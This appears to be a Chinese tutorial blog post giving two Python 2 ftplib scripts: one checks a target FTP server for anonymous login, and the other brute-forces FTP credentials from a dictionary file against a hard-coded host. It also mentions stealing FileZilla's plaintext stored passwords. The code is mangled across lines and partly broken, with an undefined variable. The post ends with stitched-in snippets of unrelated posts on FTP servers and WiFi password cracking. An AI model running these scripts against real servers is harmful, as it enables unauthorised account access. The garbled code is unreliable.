從安全方面考慮,**允許匿名ftp訪問似乎是很瘋狂的做法。然而,令人驚訝的是許多**為此提供的正當理由卻是:匿名ftp訪問有助於**訪問軟體更新。
在進行ftp密碼暴力破解前,我們要先驗證一下目標伺服器是否允許ftp匿登入。
我們可以利用python中的ftplib 庫編寫乙個小指令碼, 確定目標伺服器是否允許匿名登入。anonlogin()函式接收的引數是乙個主機名,並返回乙個布林值來描述該主機是不是提供匿名ftp 登入。具體的操作過程是,該函式嘗試建立-乙個匿名ftp連線。如果成功,則返回「true」。如果在建立連線的過程中函式丟擲了乙個異常,則返回「false」。
ftp掃瞄器
# coding=utf-8
import ftplib
def anonlogin
(hostname)
: try:
ftp = ftplib.
ftp(hostname)
ftp.
login
('anonymous'
) print '\n[*] '
+str
(hostname)
+' ftp anonymous logon succeeded.'
ftp.
quit()
return true
except exception, e:
print '\n[-] '
+str
(h1)
+' ftp anonymous logon failed.'
return false
hostname =
'192.168.1.16' #目標主機ip
anonlogin
(hostname)
結果
雖然匿名訪問是進入系統的方式之一,但攻擊者也能成功地用偷來的使用者名稱/密碼訪問合法的ftp伺服器。filezilla 之類的ftp客戶端程式往往將密碼以明文形式儲存在配置檔案中(huang, 2011)。在預設位置中儲存明文密碼使得專門為此編寫的惡意軟體能夠迅速竊取使用者名稱密碼。安全專家們在近期發現的惡意軟體中也發現了竊取ftp密碼的功能。更有甚者,hd moore將乙個名為get_filezilla _creds.rb 的指令碼也整合在了新發布的metasploit中,允許使用者在獲得目標控制權後可以快速尋找ftp密碼。如果我們要暴力破解的某個使用者名稱/密碼對就在乙個文字檔案裡會怎麼樣呢?為了演示我們的指令碼,我們假設使用者名稱/密碼對是儲存在一 個純文字檔案中的。
暴力破解ftp密碼
# coding=utf-8
import ftplib
def brutelogin
(hostname, passwdfile)
: pf =
open
(passwdfile,
'r')
for line in pf.
readlines()
: username = line.
split
(':')[
0]password = line.
split
(':')[
1].strip
('\r').
strip
('\n'
) print '[+] trying: '
+ username +
'/'+ password
try:
ftp = ftplib.
ftp(hostname)
ftp.
login
(username, password)
print '\n[*] '
+str
(hostname)
+' ftp logon succeeded: '
+ username +
'/'+ password
ftp.
quit()
return
(username, password)
except exception, e:
pass
print '\n[-] could not brubrute force ftp credentials.'
return
(none, none)
host =
'192.168.1.16' #目標ip
passwdfile = r'/home/kali/桌面/a.txt' #密碼字典
brutelogin
(host, passwdfile)
測試結果 暴力破解FTP口令
先啟動ftp服務 from pyftpdlib.handlers import ftphandler from pyftpdlib.servers import ftpserver from pyftpdlib.authorizers import dummyauthorizer authorize...
Python 暴力破解wifi
思路 首先檢查是否擁有無限網絡卡 無線網絡卡是否連線到wifi 如果連線到wifi那麼需要斷開連線,因為一張網絡卡同一時間只能連線乙個wifi 搜尋附近的wifi確定連線的目標 使用字典開始嘗試自動連線 實列 首先安裝pywifi模組,這個模組專門用來處理wifi的資訊 pip install py...
Python暴力破解wifi
import pywifi from pywifi import const import time wifi pywifi.pywifi 抓取網絡卡介面 iface wifi.inte ces 0 抓取第乙個無線網絡卡 iface.disconnect 測試鏈結斷開所有鏈結 讀取密碼字典,進行匹配...